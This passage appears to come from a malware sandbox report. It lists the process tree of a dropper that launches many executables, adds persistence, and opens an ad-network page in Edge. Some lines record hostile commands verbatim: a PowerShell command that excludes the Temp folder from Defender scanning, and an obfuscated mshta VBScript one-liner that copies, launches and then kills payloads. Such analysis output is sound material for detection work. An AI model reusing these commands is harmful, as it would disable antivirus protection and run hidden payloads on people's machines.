- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1324 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat196ac06a9e6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat196ac06a9e6.exeSat196ac06a9e6.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4112 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat191649b47c9e2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat191649b47c9e2.exeSat191649b47c9e2.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1144 -
C:\ProgramData\4390821.exe"C:\ProgramData\4390821.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3388 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3388 -s 23767⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5356 -
C:\ProgramData\8981631.exe"C:\ProgramData\8981631.exe"6⤵PID:476
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:5192 -
C:\ProgramData\6069887.exe"C:\ProgramData\6069887.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4376 -
C:\ProgramData\6069887.exe"C:\ProgramData\6069887.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5664 -
C:\ProgramData\149669.exe"C:\ProgramData\149669.exe"6⤵
- Executes dropped EXE
PID:5272 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCrIPt: close (crEateobJeCt ("wsCRIpT.sHEll" ). RUN("C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\149669.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 &If """"== """" for %l In ( ""C:\ProgramData\149669.exe"") do taskkill -Im ""%~nxl"" /F " ,0 , TRuE))7⤵PID:5600
-
C:\ProgramData\3313646.exe"C:\ProgramData\3313646.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5360 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5360 -s 24207⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4768 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1946eb84e6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:660 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat1946eb84e6.exeSat1946eb84e6.exe5⤵
- Executes dropped EXE
PID:1712 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat199ba8a4637dcb034.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat199ba8a4637dcb034.exeSat199ba8a4637dcb034.exe5⤵
- Executes dropped EXE
PID:4592 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat19ba05e89ea6d406.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19ba05e89ea6d406.exeSat19ba05e89ea6d406.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Users\Admin\AppData\Local\Temp\is-0R9HU.tmp\Sat19ba05e89ea6d406.tmp"C:\Users\Admin\AppData\Local\Temp\is-0R9HU.tmp\Sat19ba05e89ea6d406.tmp" /SL5="$7003A,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS883CDC93\Sat19ba05e89ea6d406.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4712 -
C:\Users\Admin\AppData\Local\Temp\is-8TFS5.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-8TFS5.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:5000 -
C:\Program Files\Windows Photo Viewer\QKHSYTRWTS\ultramediaburner.exe"C:\Program Files\Windows Photo Viewer\QKHSYTRWTS\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
PID:5140 -
C:\Users\Admin\AppData\Local\Temp\is-CFA31.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-CFA31.tmp\ultramediaburner.tmp" /SL5="$40348,281924,62464,C:\Program Files\Windows Photo Viewer\QKHSYTRWTS\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:5132 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
PID:4804 -
C:\Users\Admin\AppData\Local\Temp\97-85cbe-1b1-73991-1a0a48cb830cc\Jashedulaju.exe"C:\Users\Admin\AppData\Local\Temp\97-85cbe-1b1-73991-1a0a48cb830cc\Jashedulaju.exe"8⤵
- Executes dropped EXE
PID:2996 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
PID:2112 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff8e3b846f8,0x7ff8e3b84708,0x7ff8e3b8471810⤵PID:5292
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:210⤵PID:6028
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:310⤵
- Loads dropped DLL
PID:5688 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:810⤵PID:5992
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:110⤵PID:5164
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:110⤵PID:956
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:110⤵PID:1196
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:110⤵PID:796
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5328 /prefetch:110⤵PID:4516
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:110⤵PID:1520
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3588 /prefetch:110⤵PID:5464
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:110⤵PID:3392
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5772 /prefetch:810⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2548 -
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5772 /prefetch:810⤵PID:5720
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1840 /prefetch:210⤵PID:1192
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5784 /prefetch:810⤵PID:2252
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:110⤵PID:2272
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5260 /prefetch:810⤵PID:1872
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5140 /prefetch:110⤵PID:1604
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2400 /prefetch:110⤵PID:4376
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:110⤵PID:132
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6056 /prefetch:110⤵PID:4292
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5916 /prefetch:110⤵PID:4496
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:110⤵PID:1500
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3596 /prefetch:810⤵PID:3500
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:110⤵PID:1428
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:110⤵PID:4168
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:110⤵PID:5432
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:110⤵PID:1880
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4516 /prefetch:110⤵PID:2920
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:110⤵PID:1972
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:110⤵PID:3920
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2472 /prefetch:110⤵PID:2340
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1852 /prefetch:110⤵PID:6040
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1116 /prefetch:110⤵PID:5812
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4504 /prefetch:110⤵PID:1220
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3408 /prefetch:810⤵PID:2716
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3692 /prefetch:110⤵PID:1172
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4996 /prefetch:110⤵PID:3372
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:110⤵PID:4292
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=5160 /prefetch:810⤵PID:2860
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5140 /prefetch:810⤵PID:2944
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3460 /prefetch:810⤵PID:3980
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:110⤵PID:5464
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:110⤵PID:5260
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:110⤵PID:5256
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1888 /prefetch:110⤵PID:2576
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4920 /prefetch:110⤵PID:3828
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4556 /prefetch:110⤵PID:2752
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,17645972830667222883,14141988703916376959,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:110⤵PID:1536
-
